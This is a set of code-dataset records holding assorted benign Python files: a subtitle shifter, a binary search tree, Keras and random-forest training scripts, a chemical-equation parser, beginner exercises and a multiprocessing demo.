(2D, 3D, etc)\n\n # extract the words & their vectors, as numpy arrays\n vectors = np.asarray(vectors)\n\n # reduce using t-SNE\n tsne = TSNE(n_components=num_dimensions, random_state=0)\n vectors = tsne.fit_transform(vectors)\n\n x_vals = [v[0] for v in vectors]\n y_vals = [v[1] for v in vectors]\n return x_vals, y_vals","sub_path":"wordvector/utils/clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"248759151","text":"def modify_subtitles(r_file, w_file, secs=5):\n if secs > 59:\n return\n with open(r_file, 'r') as r, open(w_file, 'w') as w:\n for line in r.readlines():\n if '-->' in line:\n added = [add_seconds(line.split(' --> ')[0], secs),\n add_seconds(line.split(' --> ')[1], secs) + '\\n']\n print(' --> '.join(added), end='', file=w)\n else:\n print(line, end='', file=w)\n\n\ndef add_seconds(time, secs):\n t_hour, t_min, t_sec = time.split(':')\n m_sec = int(''.join(t_sec.split(','))) + secs * 1000\n if m_sec > 59999:\n m_sec = str(int(m_sec) - 60000).zfill(5)\n f_min = str(int(t_min) + 1).zfill(2)\n if int(f_min) > 59:\n f_min = '00'\n t_hour = str(int(t_hour) + 1).zfill(2)\n time = [t_hour, f_min, m_sec[:2] + ',' + m_sec[2:]]\n else:\n m_sec = str(int(m_sec)).zfill(5)\n time = [t_hour, t_min, m_sec[:2] + ',' + m_sec[2:]]\n return ':'.join(time)\n\n\nseconds = 1 # change seconds here\nmodify_subtitles('origin_file', 'new_empty_file', seconds)\n","sub_path":"subtitle_editor.py","file_name":"subtitle_editor.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"532382498","text":"class BSTree:\n\n\tdef __init__(self, value, comp):\n\t\t\"\"\"\n\t\tCreates a new binary search tree (BST) data structure\n\n\t\tArgs:\n\t\t\tvalue: The data of the root node of the BST\n\t\t\tcomp(new_element, root): The comparison function for maintaining order\n\n\t\tOperations:\n\t\t\tinsert: Insert a new element into the BST\n\t\t\tsearch: Find an element in the BST\n\t\t\tremove: Remove an element from the BST\n\t\t\tfind_min: Find the minimum value in the BST\n\t\t\tfind_max: Find the maximum value in the BST\n\t\t\tpre_order: Gets the pre-order traversal\n\t\t\tin_order: Gets the in-order traversal\n\t\t\tpost_order: Gets the post-order traversal\n\n\t\t\"\"\"\n\t\tself.comp = comp\n\t\tself.data = value\n\t\tself.parent = None\n\t\tself.left = None\n\t\tself.right = None\n\n\tdef insert(self, element, visual = False, visual_string = \"Insertion:\\t\"):\n\t\t\"\"\"\n\t\tInserts an element into the Binary Search Tree with n elements\n\n\t\tArgs:\n\t\t\telement: The new value to be inserted\n\t\t\tvisual: Set to True for additional screen output\n\n\t\tTime:\n\t\t\tO(log n)\t[Average Case]\n\t\t\tO(n)\t \t[Worst Case]\n\n\t\tExplanation:\n\t\t\tRecursively attempt to insert into left subtree or right subtree\n\t\t\"\"\"\n\t\tif visual:\n\t\t\tvisual_string += \" {}\".format(self.data)\n\t\tif self.comp(element, self.data):\n\t\t\tif self.left == None:\n\t\t\t\tif visual:\n\t\t\t\t\tprint(visual_string + \"L --> {}\".format(element))\n\t\t\t\tself.left = BSTree(element, self.comp)\n\t\t\t\tself.left.parent = self\n\t\t\telse:\n\t\t\t\tif visual:\n\t\t\t\t\tvisual_string += \"L -->\"\n\t\t\t\tself.left.insert(element, visual, visual_string)\n\t\telse:\n\t\t\tif self.right == None:\n\t\t\t\tif visual:\n\t\t\t\t\tprint(visual_string + \"R --> {}\".format(element))\n\t\t\t\tself.right = BSTree(element, self.comp)\n\t\t\t\tself.right.parent = self\n\t\t\telse:\n\t\t\t\tif visual:\n\t\t\t\t\tvisual_string += \"R -->\"\n\t\t\t\tself.right.insert(element, visual, visual_string)\n\n\tdef search(self, element, visual = False, visual_string = \"Searching:\\t\"):\n\t\t\"\"\"\n\t\tFinds an element in the Binary Search Tree with n elements\n\n\t\tArgs:\n\t\t\telement: The new value to be inserted\n\t\t\tvisual: Set to True for additional screen output\n\n\t\tTime:\n\t\t\tO(log n)\t[Average Case]\n\t\t\tO(n)\t \t[Worst Case]\n\n\t\tReturns:\n\t\t\tThe BST subtree with root containing the element if found,\n\t\t\tNone otherwise\n\n\t\tExplanation:\n\t\t\tRecursively attempt to find element in left subtree or right subtree\n\t\t\"\"\"\n\t\tvisual_string += \" {}\".format(self.data)\n\t\tif self.data == element:\n\t\t\tif visual:\n\t\t\t\tprint(visual_string + \" [Found]\")\n\t\t\treturn self\n\t\telif self.comp(element, self.data):\n\t\t\tif self.left != None:\n\t\t\t\tif visual:\n\t\t\t\t\tvisual_string += \"L -->\"\n\t\t\t\tself.left.search(element, visual, visual_string)\n\t\t\telse:\n\t\t\t\tif visual:\n\t\t\t\t\tprint(visual_string + \" [Not Found]\")\n\t\t\t\treturn None\n\t\telse:\n\t\t\tif self.right != None:\n\t\t\t\tif visual:\n\t\t\t\t\tvisual_string += \"R -->\"\n\t\t\t\tself.right.search(element, visual, visual_string)\n\t\t\telse:\n\t\t\t\tif visual:\n\t\t\t\t\tprint(visual_string + \" [Not Found]\")\n\t\t\t\treturn None\n\n\tdef find_leftmost(self, visual = False):\n\t\t\"\"\"\n\t\tFinds the \"left-most\" (minimum) element in the Binary Search Tree with n elements\n\n\t\tArgs:\n\t\t\tvisual: Set to True for additional screen output\n\n\t\tTime:\n\t\t\tO(log n)\t[Average Case]\n\t\t\tO(n)\t \t[Worst Case]\n\n\t\tReturns:\n\t\t\tThe left-most element\n\n\t\tExplanation:\n\t\t\tRecursively traverse down the left subtree\n\t\t\"\"\"\n\t\tif self.left == None:\n\t\t\tif visual:\n\t\t\t\tprint(\"Minimum value {} found\".format(self.data))\n\t\t\treturn self.data\n\t\telse:\n\t\t\treturn self.left.find_leftmost(visual)\n\n\tdef find_rightmost(self, visual = False):\n\t\t\"\"\"\n\t\tFinds the \"right-most\" (maximum) element in the Binary Search Tree with n elements\n\n\t\tArgs:\n\t\t\tvisual: Set to True for additional screen output\n\n\t\tTime:\n\t\t\tO(log n)\t[Average Case]\n\t\t\tO(n)\t \t[Worst Case]\n\n\t\tReturns:\n\t\t\tThe right-most element\n\n\t\tExplanation:\n\t\t\tRecursively traverse down the right subtree\n\t\t\"\"\"\n\t\tif self.right == None:\n\t\t\tif visual:\n\t\t\t\tprint(\"Maximum value {} found\".format(self.data))\n\t\t\treturn self.data\n\t\telse:\n\t\t\treturn self.right.find_rightmost(visual)\n\n\n\tdef remove(self, element, visual = False, visual_string = \"Removal:\\t\"):\n\t\t\"\"\"\n\t\tRemoves an element from a Binary Search Tree with n elements\n\n\t\tArgs:\n\t\t\telement: The target element to remove\n\t\t\tvisual: Set to True for additional screen output\n\n\t\tTime:\n\t\t\tO(log n)\t[Average Case]\n\t\t\tO(n)\t \t[Worst Case]\n\n\t\tExplanation:\n\t\t\t1) Find the element to be removed in the BST\n\t\t\t2) If node has no children, remove the node\n\t\t\t3) If node has only 1 child, replace the node with its child\n\t\t\t4) If node has 2 children, replace node value with in-order successor,\n\t\t\t then recursively remove the node containing the in-order successor\n\n\t\t\"\"\"\n\t\tif visual:\n\t\t\tvisual_string += \" {}\".format(self.data)\n\t\tif self.data == element:\n\t\t\tif self.left == None or self.right == None:\n\t\t\t\t# At most 1 child\n\t\t\t\tchild = self.left if self.right == None else self.right\n\t\t\t\tif self.parent.left == self:\n\t\t\t\t\tself.parent.left = child\n\t\t\t\telse:\n\t\t\t\t\tself.parent.right = child\n\t\t\t\tif visual:\n\t\t\t\t\tprint(visual_string + \" [Removed]\")\n\t\t\telse:\n\t\t\t\t# 2 Child -> replace with in-order successor\n\t\t\t\tself.data = self.right.find_leftmost()\n\t\t\t\tif visual:\n\t\t\t\t\tvisual_string += \"R [Replaced with {}] -->\".format(self.data)\n\t\t\t\tself.right.remove(self.data, visual, visual_string)\n\n\t\telse:\n\t\t\tif self.comp(element, self.data):\n\t\t\t\tif self.left != None:\n\t\t\t\t\tif visual:\n\t\t\t\t\t\tvisual_string += \"L -->\"\n\t\t\t\t\tself.left.remove(element, visual, visual_string)\n\t\t\t\telif visual:\n\t\t\t\t\tprint(\"{} not found in BST\".format(element))\n\t\t\telse:\n\t\t\t\tif self.right != None:\n\t\t\t\t\tif visual:\n\t\t\t\t\t\tvisual_string += \"R -->\"\n\t\t\t\t\tself.right.remove(element, visual, visual_string)\n\t\t\t\telif visual:\n\t\t\t\t\tprint(\"{} not found in BST\".format(element))\n\n\tdef pre_order(self, result = []):\n\t\t\"\"\"\n\t\tGenerates the pre-order traversal sequence for a given BST\n\t\t\n\t\tTime:\n\t\t\tO(n)\n\n\t\tReturns:\n\t\t\tA list containing the pre-order traversal of the BST\n\n\t\tExplanation:\n\t\t\t1) Append data of root\n\t\t\t2) Repeat on left subtree\n\t\t\t3) Repeat on right subtree\n\t\t\"\"\"\n\t\tresult.append(self.data)\n\t\tif self.left != None:\n\t\t\tresult = self.left.pre_order(result)\n\t\tif self.right != None:\n\t\t\tresult = self.right.pre_order(result)\n\t\treturn result\n\n\tdef in_order(self, result = []):\n\t\t\"\"\"\n\t\tGenerates the in-order traversal sequence for a given BST.\n\n\t\tTime:\n\t\t\tO(n)\n\n\t\tReturns:\n\t\t\tA list containing the in-order traversal of the BST\n\n\t\tExplanation:\n\t\t\t1) Repeat on left subtree\n\t\t\t2) Append data of root\n\t\t\t3) Repeat on right subtree\n\t\t\tNote: Will be sorted based on comparison function of BST\n\t\t\"\"\"\n\t\tif self.left != None:\n\t\t\tresult = self.left.in_order(result)\n\t\tresult.append(self.data)\n\t\tif self.right != None:\n\t\t\tresult = self.right.in_order(result)\n\t\treturn result\n\n\tdef post_order(self, result = []):\n\t\t\"\"\"\n\t\tGenerates the post-order traversal sequence for a given BST.\n\n\t\tTime:\n\t\t\tO(n)\n\n\t\tReturns:\n\t\t\tA list containing the post-order traversal of the BST\n\n\t\tExplanation:\n\t\t\t1) Repeat on left subtree\n\t\t\t2) Repeat on right subtree\n\t\t\t3) Append data of root\n\t\t\"\"\"\n\t\tif self.left != None:\n\t\t\tresult = self.left.post_order(result)\n\t\tif self.right != None:\n\t\t\tresult = self.right.post_order(result)\n\t\tresult.append(self.data)\n\t\treturn result","sub_path":"apothecary/cs/ds/binary_tree.py","file_name":"binary_tree.py","file_ext":"py","file_size_in_byte":7056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"437579486","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport tensorflow\nfrom keras.models import Sequential\nfrom keras.callbacks import EarlyStopping\n\nfrom keras.optimizers import Adam, SGD\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.callbacks import TensorBoard\nfrom keras.layers import Lambda, Conv2D, MaxPooling2D, Dropout, Dense, Flatten\nfrom keras.models import Model, Input\nfrom keras.models import load_model\nimport glob\nimport os\nimport h5py\nimport sys\nimport keras\n\nnp.random.seed(0)\n\nIMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_CHANNELS = 120, 160, 3\nINPUT_SHAPE = (IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_CHANNELS)\n\ndef load_data():\n\timage_array = np.zeros((1,120,160,3))\n\tlabel_array = np.zeros((1,5), 'float')\n\ttraining_data = glob.glob('training_data_npz/*.npz')\n\n\tif not training_data:\n\t\tprint(\"No training data in direcroty, exit check line 29\")\n\t\tsys.exit()\n\n\tfor single_npz in training_data:\n\t\twith np.load(single_npz) as data:\n\t\t\tprint('data.keys = ', data.keys())\n\t\t\ttrain_temp = data['train_imgs']\n\t\t\t# print('line36 train_temp.shape = ', np.shape(train_temp))\n\t\t\ttrain_labels_temp = data['train_labels']\n\t\t\t# print('line38 train_labels_temp.shape = ', np.shape(train_labels_temp))\n\n\t\t# print('line37 ---- image_array.shape = ', np.shape(image_array))\n\t\t# print('line38 ---- label_array.shape = ', np.shape(label_array))\n\t\timage_array = np.vstack((image_array, train_temp))\n\t\tlabel_array = np.vstack((label_array, train_labels_temp))\n\t\tprint('line41 ---- image_array.shape = ', np.shape(image_array))\n\t\tprint('line42 ---- label_array.shape = ', np.shape(label_array))\n\n\tX = image_array[1:, :]\n\ty = label_array[1:, :]\n\n\n\t# X = image_array[1:, :]\n\t# y = label_array[1:, :]\n\n\n\tprint('Image array shape = ', X.shape)\n\tprint('Label array shape = ', y.shape)\n\tprint('line 44 mean = ', np.mean(X))\n\tprint('line 45 var = ', np.var(X))\n\n\tX_train, X_valid, y_train, y_valid = train_test_split(X, y, test_size = 0.2, random_state = 0)\n\n\treturn X_train, X_valid, y_train, y_valid\n\ndef build_model(keep_prob):\n\n\tmodel = Sequential()\n\t# model.add(Lambda(lambda x: (x/102.83-1), input_shape = INPUT_SHAPE))\n\tmodel.add(Conv2D(24, (5, 5), activation = 'elu', input_shape = INPUT_SHAPE, strides = (2, 2)))\n\tmodel.add(Conv2D(36, (5, 5), activation = 'elu', strides = (2, 2)))\n\tmodel.add(Conv2D(48, (5, 5), activation = 'elu', strides = (2, 2)))\n\n\tmodel.add(Dropout(0.5))\n\n\tmodel.add(Conv2D(64, (3, 3), activation = 'elu'))\n\n\tmodel.add(Dropout(0.9))\n\tmodel.add(Flatten())\n\tmodel.add(Dense(500, activation = 'elu'))\n\n\tmodel.add(Dropout(0.1))\n\n\tmodel.add(Dense(250, activation = 'elu'))\n\n\tmodel.add(Dropout(0.1))\n\n\tmodel.add(Dense(50, activation = 'elu'))\n\tmodel.add(Dropout(0.1))\n\n\tmodel.add(Dense(5, activation = 'elu'))\n\n\tmodel.summary()\n\n\n\treturn model\n\n\n\ndef train_model(model,learning_rate,np_epoch,samples_per_epoch,batch_size,X_train,X_valid,y_train,y_valid):\n\t# chechpoint=ModelCheckpoint('model-{epoch:03d}.h5',monitor='val_loss',verbose=0,save_best_only=True,mode='min')\n\tcheckpoint=ModelCheckpoint('model-{epoch:03d}.h5',monitor='val_loss',verbose=0,save_best_only=True,mode='min')\n\n\tearly_stop=EarlyStopping(monitor='val_loss',min_delta=.0005,patience=4,verbose=1,mode='min')\n\ttensorboard=TensorBoard(log_dir='./logs',histogram_freq=0,batch_size=20,write_graph=True,write_grads=True,write_images=False,embeddings_freq=0,embeddings_layer_names=None,embeddings_metadata=None)\n\tmodel.compile(loss='mean_squared_error',optimizer=Adam(lr=learning_rate),metrics=['accuracy'])\n\tmodel.fit_generator(batch_generator(X_train,y_train,batch_size),\n\t\t\t\t\tsteps_per_epoch=samples_per_epoch/batch_size,\n\t\t\t\t\tepochs=np_epoch,\n\t\t\t\t\tmax_queue_size=1,\n\t\t\t\t\tvalidation_data=batch_generator(X_valid,y_valid,batch_size),\n\t\t\t\t\tvalidation_steps=len(X_valid)/batch_size,\n\t\t\t\t\tcallbacks=[tensorboard,checkpoint,early_stop],\n\t\t\t\t\tverbose=2)\n\n\ndef batch_generator(X, y, batch_size):\n\timages = np.empty([batch_size, IMAGE_HEIGHT, IMAGE_WIDTH, IMAGE_CHANNELS])\n\tsteers = np.empty([batch_size, 5])\n\twhile True:\n\t\ti = 0\n\t\tfor index in np.random.permutation(X.shape[0]):\n\t\t\timages[i] = X[index]\n\t\t\tsteers[i] = y[index]\n\t\t\ti += 1\n\t\t\tif i == batch_size:\n\t\t\t\tbreak\n\t\tyield (images, steers)\n\ndef main():\n\tprint('line114', '-' * 30)\n\tprint('Parameters')\n\tprint('line116', '-' * 30)\n\tkeep_prob = 0.5\n\tlearning_rate = 0.0001\n\tnp_epoch = 100\n\tsamples_per_epoch = 3000\n\tbatch_size = 40\n\n\tprint('keep_prob = ', keep_prob)\n\tprint('learning_rate = ', learning_rate)\n\tprint('np_epoch = ', np_epoch)\n\tprint('samples_per_epoch = ', samples_per_epoch)\n\tprint('batch_size = ', batch_size)\n\n\tdata = load_data()\n\tmodel = build_model(keep_prob)\n\ttrain_model(model, learning_rate, np_epoch, samples_per_epoch, batch_size, *data)\n\nif __name__ == '__main__':\n\tmain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Trained_Model/train_model_2.py","file_name":"train_model_2.py","file_ext":"py","file_size_in_byte":4771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"90957159","text":"#!/usr/bin/python\n\n## Contains functions related to the parsing of chemical equations.\n\nimport itertools\nimport functools\nimport collections\nimport tools\nfrom table import table\nfrom parser_dt import *\nfrom substance import Substance\nfrom reaction import Reaction\n\n## XXX:\n## Technically you don't really need the beginning \"(\" on sub/super-scripts\n## This is parseable: Cl^-2), but it looks strange without the initial paren, so I\n## think I'll just keep it.\n\nclass ParseError(Exception): pass\n\ndef parseEquation(equation_text):\n def tokenize():\n equation = iter(equation_text)\n\n ## Sometimes the check function will \"eat up\" one extra character, this character\n ## will be stored in the appropriately named variable \"nom\"\n nom = None\n\n def check(char):\n nonlocal nom\n nom = None\n\n if char.isupper():\n ## Start of new element\n element, nom = tools.collectWhile(lambda x: x.islower(), equation)\n element.insert(0, char)\n return Tokens.Element, \"\".join(element)\n\n elif char.isdigit():\n multiplier, nom = tools.collectWhile(lambda x: x.isdigit(), equation)\n multiplier.insert(0, char)\n return Tokens.Multiplier, \"\".join(multiplier)\n\n elif char == SpecialCharacters.subsubstance_xor_state_open:# or char == SpecialCharacters.sub_substance_end:\n ## Check if we're dealing with a state\n ## States are not nested, therefore this process does not have to be recursive\n state = []\n for char in equation:\n if char.islower():\n state.append(char)\n elif char == SpecialCharacters.subsubstance_xor_state_close:\n break\n elif not char.isspace() and not state:\n nom = char\n return Tokens.OpenSubSubstance, SpecialCharacters.subsubstance_xor_state_open\n elif state:\n ## This will prevent nesting like \"(a(a(a)))\", nesting should never be necesarry for a state\n raise ParseError(\"Invalid characters in state\")\n else:\n if state:\n raise ParseError(\"Unterminated state\")\n raise ParseError(\"Unterminated sub-substance\")\n if not state:\n raise ParseError(\"Empty state\")\n\n return Tokens.State, \"\".join(state)\n\n elif char in SpecialCharacters.subsubstance_xor_state_close:\n return Tokens.CloseSubSubstance, SpecialCharacters.subsubstance_xor_state_close\n\n elif char in SpecialCharacters.subscripts:\n ## Not supported as of yet\n pass\n\n elif char in (SpecialCharacters.subscript_start, SpecialCharacters.superscript_start):\n tokentype = Tokens.Subscript if char == SpecialCharacters.subscript_start else Tokens.Superscript\n char = next(equation)\n\n if char == SpecialCharacters.script_open:\n ## Expecting multiple character subscript\n subscript = []\n\n for i, char in enumerate(equation):\n ## Check for digit or leading +/-\n if char.isdigit() or (i == 0 and tokentype == Tokens.Superscript and char in (\"+\", \"-\")):\n subscript.append(char)\n\n elif char == SpecialCharacters.script_close:\n break\n\n else:\n raise ParseError(\"Invalid character in equation {}\".format(tokentype.__name__))\n else:\n raise ParseError(\"Unterminated {} in equation\".format(tokentype.__name__))\n\n if not subscript:\n raise ParseError(\"Empty {} in equation\".format(tokentype.__name__))\n\n return tokentype, \"\".join(subscript)\n\n else:\n raise ParseError(\"Invalid character in equation subscript\")\n\n ## I'm putting this close to the else statement which contains a raise statement.\n ## Take the hint, this step is necessarry even though it just \"passes.\"\n elif char.isspace():\n return\n\n try:\n operator, nom = tools.matchesOneOf(tools.combineIterators([char], equation), Operators.symbols)\n return Tokens.Operator, operator\n except IndexError as e:\n raise ParseError(\"Invalid operator\")\n\n for char in equation:\n result = check(char)\n if result:\n yield result\n\n while nom:\n result = check(nom)\n if result:\n yield result\n\n ## Parses a single substance\n ## TODO: Unary postfix operators are not allowed\n @functools.lru_cache()\n def parseSubstance(iterable, substance):\n ## Used for subscripts\n last_token = (None, None)\n\n for tokentype, token in iterable:\n if tokentype == Tokens.Multiplier and substance.multiplier == None:\n substance.multiplier = int(token)\n\n elif tokentype in (Tokens.Subscript, Tokens.Superscript) and last_token == (None, None):\n raise ParseError(\"{} given before substance\".format(tokentype.__name__))\n\n elif tokentype == Tokens.Subscript:\n if last_token[0] == Tokens.Element:\n substance.elements[last_token[1]] = int(token)\n else:\n raise ParseError(\"Subscript in invalid position, succeeding {}\".format(last_token[0].__name__))\n\n elif tokentype == Tokens.Superscript:\n if last_token[0] == Tokens.Element:\n substance.charge = int(token)\n else:\n raise ParseError(\"Superscript in invalid position, succeeding {}\".format(last_token[0].__name__))\n\n ## TODO: Abstract this whole process into a function, exiting in this way is something that is handled\n ## in multiple locations.\n try:\n ## XXX: See warning under Tokens.State\n op_tokentype, op_token = next(iterable)\n if op_tokentype != Tokens.Operator:\n raise ParseError(\"Charge was given to substance, but was not the final token before operator\")\n return (op_tokentype, op_token)\n except StopIteration:\n pass\n\n elif tokentype == Tokens.Element:\n if token in substance.elements:\n raise ParseError(\"Element {} appears more than once in substance\".format(token))\n substance.elements[token] = 1\n\n elif tokentype == Tokens.State and substance.state == None:\n substance.state = token\n try:\n ## XXX: How do we know we're at the highest level of nesting?\n ## Do we examine the stack?\n ## Or do we add a level variable that will be incremented upon each call to parseSubstance\n ## For now the nested substances are not an issue, so this does not warrant concern, but it\n ## is something I should keep in mind for later.\n op_tokentype, op_token = next(iterable)\n if op_tokentype != Tokens.Operator:\n raise ParseError(\"State was given to substance, but was not the final token before operator\")\n return (op_tokentype, op_token)\n except StopIteration:\n pass\n\n elif tokentype == Tokens.Operator:\n return (tokentype, token)\n\n last_token = (tokentype, token)\n if last_token[0] == Tokens.Operator:\n raise ParseError(\"Unary postfix operators are not allowed\")\n\n tokens = tokenize()\n reactants = set()\n products = set()\n finished_reactants = False\n\n while True:\n substance = Substance(None, {}, [], None, None)\n operator = parseSubstance(tokens, substance)\n\n if finished_reactants:\n products.add(substance)\n else:\n reactants.add(substance)\n\n ## parseSubstance should return None when finished\n if not operator:\n if not reactants and products:\n raise ParseError(\"Invalid equation, no reactants\")\n if not products:\n if len(reactants) == 1:\n ## XXX: This might not be a terribly bright idea, it might be best to exit with an error\n ## if there are no products but still one single reactant. The best thing to do would\n ## probably be to split everything up a bit more. So that the tokenizer and parseSubstance\n ## functions are top level.\n return reactants.pop()\n raise ParseError(\"Invalid equation, several substances but no reaction\")\n break\n\n operator = Operators.symbols[operator[1]]\n if operator == Operators.Produces:\n if finished_reactants:\n raise ParseError(\"'Produces' operator appears more than once in equation\")\n finished_reactants = True\n\n for element in reactants.union(products):\n if element not in table[\"symbol\"]:\n raise ParseError(\"Invalid element in substance {}\".format(element))\n\n return Reaction(reactants, products)\n\n","sub_path":"src/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":9780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"157383043","text":"\"\"\"\nЛюбимый фрукт: составьте список своих любимых фруктов. Напишите серию независи-\nмых команд if для проверки того, присутствуют ли некоторые фрукты в списке.\n•\t Создайте список трех своих любимых фруктов и назовите его favorite_fruits.\n•\t Напишите пять команд if. Каждая команда должна проверять, входит ли определен-\nный тип фрукта в список. Если фрукт входит в список, блок if должен выводить со-\nобщение вида «You really like bananas!».\n\"\"\"\n\nfruit_list = [\"яблоко\", \"апельсин\", \"банан\", \"груша\", \"слива\", \"персик\", \"абрикос\", \"мандарин\"]\nfavorite_fruits = [\"яблоко\", \"банан\", \"груша\"]\n\nfor fruit in favorite_fruits:\n if fruit in fruit_list:\n print(\"Я люблю\", fruit)\n","sub_path":"Мэтиз: Изучаем Python/if/5-7.py","file_name":"5-7.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"13726578","text":"'''\nSandbox for playing around with different networkx functions.\n'''\nimport networkx as nx \nimport matplotlib.pyplot as plt\n\nG = nx.complete_graph(5)\nN = nx.complete_graph(3)\n\nplt.figure(1)\n\nnx.draw(G)\nplt.figure(2)\nnx.draw(N)\nplt.show()\n","sub_path":"sandbox_wk1.py","file_name":"sandbox_wk1.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"612062131","text":"import numpy as np\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score, f1_score, matthews_corrcoef\nfrom sklearn.metrics import precision_score, recall_score\nfrom sklearn.metrics import roc_auc_score, average_precision_score\nfrom utils import merge_cv_results\n\ndata_name = 'Cm'\ndata_dir = '../../processed/'\ndata_dir = data_dir + data_name + '/imbalance_cv/'\n\nnfold = 5\npsdsp_w = 15\nresults = []\nfor i in np.arange(1, nfold + 1):\n valid_idx = i\n train_idx = list(range(1, nfold + 1))\n train_idx.remove(valid_idx)\n\n train_seq = []\n train_label = []\n dinuc_pos_avg_freq = []\n dinuc_neg_avg_freq = []\n for ti in train_idx:\n fold_seq = np.load(data_dir + 'fold' + str(ti) + '_seq.npy', allow_pickle=True)\n fold_label = np.load(data_dir + 'fold' + str(ti) + '_label.npy', allow_pickle=True).reshape(-1)\n psdsp_seq = fold_seq[:, (500-psdsp_w):(500+psdsp_w+1), :]\n psdsp_seq = psdsp_seq[:, :-1, :]*[1, 2, 3, 4] + psdsp_seq[:, 1:, :]*4*[1, 2, 3, 4]\n # AA: 5, CA: 6, GA: 7, TA: 8, AC: 9, CC: 10, GC: 11, TC: 12, AG: 13 etc.\n psdsp_seq = np.sum(psdsp_seq, axis=-1) - 5\n psdsp_seq = np.eye(16)[psdsp_seq.astype(np.int32)]\n train_seq.append(psdsp_seq)\n train_label.append(fold_label)\n pos_idx = fold_label == 1\n neg_idx = fold_label == 0\n dinuc_pos_avg_freq.append(np.mean(psdsp_seq[pos_idx], axis=0)[np.newaxis, ...])\n dinuc_neg_avg_freq.append(np.mean(psdsp_seq[neg_idx], axis=0)[np.newaxis, ...])\n\n dinuc_pos_avg_freq = np.concatenate(dinuc_pos_avg_freq).mean(axis=0)\n dinuc_neg_avg_freq = np.concatenate(dinuc_neg_avg_freq).mean(axis=0)\n dinuc_diff_avg_freq = dinuc_pos_avg_freq - dinuc_neg_avg_freq\n train_seq = np.concatenate(train_seq)\n train_seq = (train_seq * dinuc_diff_avg_freq).sum(axis=-1)\n train_label = np.concatenate(train_label)\n clf = RandomForestClassifier(random_state=323)\n clf.fit(train_seq, train_label)\n\n valid_seq = np.load(data_dir + 'fold' + str(valid_idx) + '_seq.npy', allow_pickle=True)\n valid_label = np.load(data_dir + 'fold' + str(valid_idx) + '_label.npy', allow_pickle=True).reshape(-1)\n valid_seq = valid_seq[:, (500 - psdsp_w):(500 + psdsp_w + 1), :]\n valid_seq = valid_seq[:, :-1, :] * [1, 2, 3, 4] + valid_seq[:, 1:, :] * 4 * [1, 2, 3, 4]\n valid_seq = np.sum(valid_seq, axis=-1) - 5\n valid_seq = np.eye(16)[valid_seq.astype(np.int32)]\n valid_seq = (valid_seq * dinuc_diff_avg_freq).sum(axis=-1)\n\n thres = 0.5\n y_pred = clf.predict_proba(valid_seq)[:, 1]\n acc = accuracy_score(y_true=valid_label, y_pred=y_pred > thres)\n f1 = f1_score(y_true=valid_label, y_pred=y_pred > thres)\n recall = recall_score(y_true=valid_label, y_pred=y_pred > thres)\n precision = precision_score(y_true=valid_label, y_pred=y_pred > thres)\n MCC = matthews_corrcoef(y_true=valid_label, y_pred=y_pred > thres)\n auc = roc_auc_score(y_true=valid_label, y_score=y_pred)\n ap = average_precision_score(y_true=valid_label, y_score=y_pred)\n\n if nfold > 1:\n results.append(np.array([acc, f1, recall, precision, MCC, auc, ap]).reshape(1, -1))\n\nmerge_cv_results(results)\n\n\n\n","sub_path":"nmseer/nmseer/psdsp_pred.py","file_name":"psdsp_pred.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"502944678","text":"\n\nfrom xai.brain.wordbase.nouns._mackerel import _MACKEREL\n\n#calss header\nclass _MACKERELS(_MACKEREL, ):\n\tdef __init__(self,): \n\t\t_MACKEREL.__init__(self)\n\t\tself.name = \"MACKERELS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"mackerel\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_mackerels.py","file_name":"_mackerels.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"290988853","text":"# Multiprocessing: ability of a system to support more than one processor at the same time.\n# Requires-\n# 1. Multiprocessor - more than one central processor.\n# 2. Hyper-Threading - makes each core look like two CPUs to the operating system\n\nimport time\nfrom multiprocessing import Process\n\n\ndef cpu_bound(n, name):\n print(f'Process:{name} started...')\n while n:\n n -= 1\n print(f'Process:{name} Completed!')\n\n\nif __name__ == '__main__':\n start = time.time()\n\n n = 100000000\n # cpu_bound(n, 'Call-1')\n # cpu_bound(n, 'Call-2')\n # cpu_bound(n, 'Call-3')\n # cpu_bound(n, 'Call-4')\n\n p1 = Process(target=cpu_bound, args=(n, \"p1\", ))\n p2 = Process(target=cpu_bound, args=(n, \"p2\", ))\n p3 = Process(target=cpu_bound, args=(n, \"p3\", ))\n p4 = Process(target=cpu_bound, args=(n, \"p4\", ))\n p1.start()\n p2.start()\n p3.start()\n p4.start()\n\n print('Joining the master...')\n\n p1.join()\n p2.join()\n p3.join()\n p4.join()\n\n print(\"Control is back in the master program...\")\n\n p1.close()\n p2.close()\n p3.close()\n p4.close()\n print('process closed...')\n\n print(f'The program took: {time.time() - start}')\n\n\n","sub_path":"python_advance/multiprocessing/multiprocess_basic.py","file_name":"multiprocess_basic.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} 